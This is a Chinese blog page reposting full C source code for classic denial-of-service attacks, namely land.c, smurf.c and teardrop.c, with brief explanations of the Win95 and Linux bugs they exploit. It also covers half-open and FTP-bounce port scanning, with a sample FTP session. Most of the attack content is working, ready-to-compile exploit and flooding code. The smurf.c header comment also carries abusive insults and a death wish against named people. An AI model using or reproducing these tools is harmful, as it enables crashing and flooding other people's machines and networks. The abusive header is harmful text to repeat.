C源码:常用攻击程序

UDP flood 原理及源码 C实现 UDP是一种不可靠的、无连接的数据报服务。源主机在传送数据前不需要和目标主机建立连接。数据被冠以源、目标端口号等UDP报头字段后直接发往目的主机。这时,每个数据段的可靠性依靠上层协议来保证。在传送数据较少、较小的情况下,UDP比TCP更加高效。 阅读详情
Abstract
这里有一些是老的,现在看来并没有用,但他们都很有名。

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
己的同一个端口发起连接(发SYN),Win95即会崩溃。


/* land.c by m3lt, FLC
crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >

//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i++)
value+=data[i];

if((length&1)==1)
value+=(data[i]<<8);

value=(value&65535)+(value>>16);

return(~value);
}


int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;

fprintf(stderr,"land.c by m3lt, FLC/n");

if(argc<3)
{
fprintf(stderr,"usage: %s IP port/n",argv[0]);
return(-1);
}

bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s/n",argv[1]);
return(-1);
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s/n",argv[2]);
return(-1);
}

//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket/n");
return(-1);
}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;

//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;

//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet/n");
return(-1);
}

fprintf(stderr,"%s:%s landed/n",argv[1],argv[2]);

close(sock);
return(0);
}


2 Smurf
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
的源地址)崩溃。

受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。

可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。

但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
成不可能(没有WINS服务器时)。

/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal to:
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
*
*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);

banner();
signal(SIGINT, ctrlc);

if (argc < 6) usage(argv[0]);

if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '/n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '/n') buf[i] = '/0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);

if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s/n/n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024/n/n");
exit(-1);
}

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)/n", argv[1]);

for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("/n/n");
return 0;
}

void banner (void)
{
puts("/nsmurf.c v4.0 by TFreak/n");
}

void usage (char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>/n/n"
"target = address to hit/n"
"bcast file = file to read broadcast addresses from/n"
"num packets = number of packets to send (0 = flood)/n"
"packet delay = wait between each packet (in ms)/n"
"packet size = size of packet (< 1024)/n/n", prog);
exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet); /* free willy! */
}

void ctrlc (int ignored)
{
puts("/nDone!/n");
exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}

sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}



3 Teardrop

在Linux的ip包重组过程中有一个严重的漏洞。

在ip_glue()中:

在循环中重组ip包:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
如 fp->len<0 时,也会使内核拷贝过多的东西。

计算分片的结束位置:
end = offset + ntohs(iph->tot_len) - ihl;

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
是这样处理的:
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}

/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset; //fp->len是一个有符号整数

举个例子来说明这个漏洞:
第一个碎片:mf=1 offset=0 payload=20
敌二个碎片:mf=0 offset=10 payload=9

这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+(20-offset)=20
fp-〉len=19-20=-1;

那么memcpy将拷贝过多的数据导致崩溃。


/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9/n/n");

//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}

if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?/n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}

srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:/n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d/n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d/n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d/n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]/n");
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("/nsendto");
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("/nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]/n",
name);
exit(0);
}


4 Portscan 和 Antiportscan

Portscan的两种主要方法:
(1) Half-open(半打开)
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。

(2) FTP scanner
利用了FTP的port命令,例如可以这样作:
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.

user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口

150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。

上述两种方法是通用的,而针对个别系统有一些特殊方法。

如一些系统受到包后会作如下处理:

标志 活动的端口的应答 不活动端口的应答

SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST

你最好是试一试。

Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
定它在向你做portscan。

notes:
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
都是向它scan。 

 
c源码:常用攻击程序 Abstract 这里有一些是老的,现在看来并没有用,但他们都很有名。 1 Land 攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自 己的同一个端口发起连接(发SYN),Win95即会崩溃。 /* land.c by m3lt, FLC    crashes a win95 box */ #include  #include  #include  #include  # 阅读详情

相关推荐

smurf攻击程序代码

基于VC6.0开发的一个smurf攻击程序代码,仅供学习用

c语言构造smurf攻击的ip包,Smurf攻击-信息安全工程师知识点

信息安全工程师知识点:Smurf攻击Smurf拒绝服务攻击是以最初发动这种攻击的程序名Smurf来命名的。这种攻击方法结合使用了IP欺骗和ICMP回复方法使大量网络数据充斥目标系统,引起目标系统拒绝为正常请求进行服务。Smurf攻击的原理如图3-37所示,攻击者主要使用IP广播和IP欺骗的方法,发送伪造的ICMPECHOREQUEST包给目标网络的IP广播地址。ICMP是用来处理错误和交换控制信息...

weixin_33050117的博客 1081

VC++ UDP穿透NAT(P2P)原理及代码

VC++ 局域网UDP穿透NAT(P2P)的原理及源代码,论坛上经常有对P2P原理的讨论,但是讨论归讨论,很少有实质的东西产生(源代码),这里就用自己实现的一个源代码来说明UDP穿越NAT的原理。截图分别演示了服务端和客户端的运行状态图。

MDK4源码架构分析:理解攻击模块化设计与OSDEP库集成的内部机制

MDK4是一款专注于无线网络安全测试的工具,其源码架构采用了高度模块化的设计理念,通过攻击模块与操作系统依赖(OSDEP)库的巧妙集成,实现了跨平台的无线网络攻击功能。本文将深入剖析MDK4的源码结构,带你理解其攻击模块化设计的核心思想以及OSDEP库如何实现平台兼容性。 ## 整体源码结构概览 MDK4的源码组织清晰,主要分为以下几个核心目录: - **src/**:核心源代码目录,包含攻

gitblog_00261的博客 375

一生一芯 预学习阶段 NEMU代码学习(2)

如果 nemu_state.state == NEMU_ABORT:说明程序处于 "中止" 状态,输出 "ABORT",并且使用 ANSI_FG_RED 红色格式化显示。如果 halt_ret == 0,表示程序正常终止(触发了 "GOOD TRAP"),输出 "HIT GOOD TRAP",并使用 ANSI_FG_GREEN 绿色显示。如果要执行的指令数量 n 小于预定义的常量 MAX_INST_TO_PRINT,则将 g_print_step 置为 true,表示会逐步打印指令执行的过程。

weixin_45041054的博客 828

MATLABGUI读取文件并将路径显示在文本框中

MATLABGUI读取文件并将路径显示在文本框中

m0_50305149的博客 2652

CSAPP:缓冲区溢出实验

首先,标注一下做这个实验时参考的两篇比较好的博客: http://www.javaeye.com/topic/257684 http://hi.baidu.com/wurmbai/blog/item/6e93ee3ae0dc1f2eb9998ff2.html 使用的系统环境为:Ubuntu + gcc.4x 这个是csapp 《深入理解计算机系统》中家庭作业第38题,直接在原程序运行的时候

lycos的六度空间 4664

西门子PLC新手必看:200SMART与1200/1500的MODBUS RTU通讯实战(附完整配置流程)

本文详细解析了西门子PLC中S7-200 SMART与S7-1200/1500之间实现MODBUS RTU通讯的完整实战流程。内容涵盖硬件接线、软件配置及程序编写,重点讲解了200SMART作为从站、1200/1500作为主站的典型架构,并提供了关键功能块的使用方法和常见问题排查技巧,帮助新手快速打通不同系列PLC间的数据交换。

weixin_29214559的博客 400

Kali常见攻击手段_kali攻击

Kali常见攻击手段_kali攻击

分享Python知识 1万+

2025数学建模国赛A题1-4问详解(论文+完整代码)

本文介绍了数学建模国赛A题的解题思路,重点分析了三维遮蔽模型的建立和运动学代码实现。相比第一题,第二题增加了未知参数求解,需要采用遗传算法等非线性优化方法。文章强调该模型由专业团队原创开发,代码可运行,并提醒参赛者警惕市场上的保奖班现象。整体内容聚焦于竞赛解题技巧和原创性保证。

Eloveeeee的博客 2806

h5页面调用微信JS-SDK分享到微信好友或者朋友圈的配置

1.引入js &lt;script type="text/javascript" src="http://res.wx.qq.com/open/js/jweixin-1.2.0.js"&gt;&lt;/script&gt; 2.在页面添加配置 &lt;script type="text/javascript"&gt; var url = location.href..

tiantiandashi的博客 2万+

C语言多线程dos攻击程序源码

#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnum,maxthread,port; char *DestIP;//目标IP void...

qq_42577465的博客 1315

某手短视频用户主页视频列表爬虫实战:从原理到完整实现

随着短视频平台的迅猛发展,某手(为保护平台隐私,本文以“某手”代指实际目标)已经成为国内最大的短视频社交平台之一,拥有数亿日活用户。对于数据分析师、内容创作者和市场营销人员而言,获取某个用户主页的视频列表具有重要的研究价值——无论是分析头部创作者的内容策略,还是监测竞品的发布频率与互动数据,爬虫技术都成为不可或缺的工具。然而,在2024-2025年的技术环境下,某手已经构建了多层次的反爬机制:包括接口签名加密、请求参数动态混淆、设备指纹检测、IP行为分析以及Web端无限滚动加载的异步数据获取方式。

2201_76125261的博客 543

以前常用的攻击软件源代码

以前常用的攻击软件源代码 常用攻击程序 Abstract 这里有一些是老的,现在看来并没有用,但他们都很有名。 1 Land 攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自 己的同一个端口发起连接(发SYN),Win95即会崩溃。 /* land.c by m3lt, FLC cra...

weixin_34056162的博客 1127

反爬虫:POST 请求参数中 Sign 的加密机制详解,并设计带 Sign 校验的网站

本文介绍了API请求中sign签名的生成原理及实现方法。sign是通过对请求参数加密生成的一串字符串,用于验证请求合法性,防止参数篡改、重放攻击和伪造请求。其生成步骤包括参数排序、拼接字符串、加盐和哈希加密。文章还演示了如何在FastAPI后端实现带sign验证的新闻网站,包括参数校验、时间戳验证和签名比对等安全措施,有效提升API安全性,增加爬虫逆向难度。

数据知道的博客 4079

基于matlab的CNN手写数字图像矫正系统

CNN 是一款强大的图像特征抽象和提取工具,常用于图像分类识别,并取得了较为理想的效果。我们通过 MATLAB 可以方便地设计不同结构、不同深度的 CNN 进行图像分类,最后一层一般设置为分类层(ClassificationLayer)进行类别标签的输出。如果我们将最后一层设计为回归层(RegressionLayer),则可以将其应用于对连续数据的预测,这对于曲线拟合、预测分析都有重要的意义。% 自定义 CNN 回归网络结构layers = [% 输入% 卷积% 池化% 池化% 卷积。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 677

syn flood 攻击 c 语言源代码,利用Python和C实现syn flood攻击

pythonpythonpythonpythonpythonpythonpythonpythonpython俗话说,知己知彼,百战不殆。学习攻击代码的编写逻辑,反向实现防攻是每一个运维工程师所要学习的。了解SYN/ACK Flood 攻击这种攻击方法是经典最有效的 DDOS 方法, 可通杀各种系统的网络服务, 主要是通过向受害主机发送大量伪造源 IP 和源端口的 S...

weixin_39620653的博客 1260

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

ARPSpoofing、arp欺骗性攻击、arpspoof源码分析

ARPSpoofing 什么是ARP协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网传输的网卡却不能直接识别IP地址,所以用APR解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询设备的MAC地址。 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照表关系。ARP缓存表的生命周

Bonjour~ 1万+

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

从源码到攻击:ssh-mitm修改OpenSSH实现中间人攻击的技术原理

ssh-mitm是一个功能强大的SSH中间人攻击工具,通过修改OpenSSH源码实现对SSH连接的拦截与监控。本文将深入解析其技术原理,从源码改造到攻击实施的完整流程,帮助安全研究者理解SSH中间人攻击的实现机制与防御方法。 ## SSH中间人攻击的核心原理 SSH协议本身设计了严格的身份验证机制,但中间人攻击(MITM)通过在客户端与服务器之间插入恶意节点,能够截获并篡改通信内容。ssh-m

gitblog_00498的博客 1004

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

以前常用的攻击软件源代码[转]

 以前常用的攻击软件源代码常用攻击程序Abstract这里有一些是老的,现在看来并没有用,但他们都很有名。1 Land攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自己的同一个端口发起连接(发SYN),Win95即会崩溃。/* land.c by m3lt, FLCcrashes a win95 box */#include #include

perforce的专栏 1112

syn c 语言程序,浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击...

原标题:浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载 01 前言以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功能,但是性能太差,其不到攻击效果,然后又开...

weixin_39534978的博客 491

ddos攻击源码_简单又可怕!基于JavaScript(JS)的DDOS攻击

最古老、最普遍、却又最可怕的攻击非DDoS攻击莫属。在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中:使用恶意的JavaScript欺骗用户参与DDoS攻击。基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与...

weixin_39637920的博客 3065
上一篇: 揭开Java 安全标准的神秘面纱-java基础
下一篇: C源码:生成一个自己的口令字典
halfstudio
博客等级 码龄20年 3粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值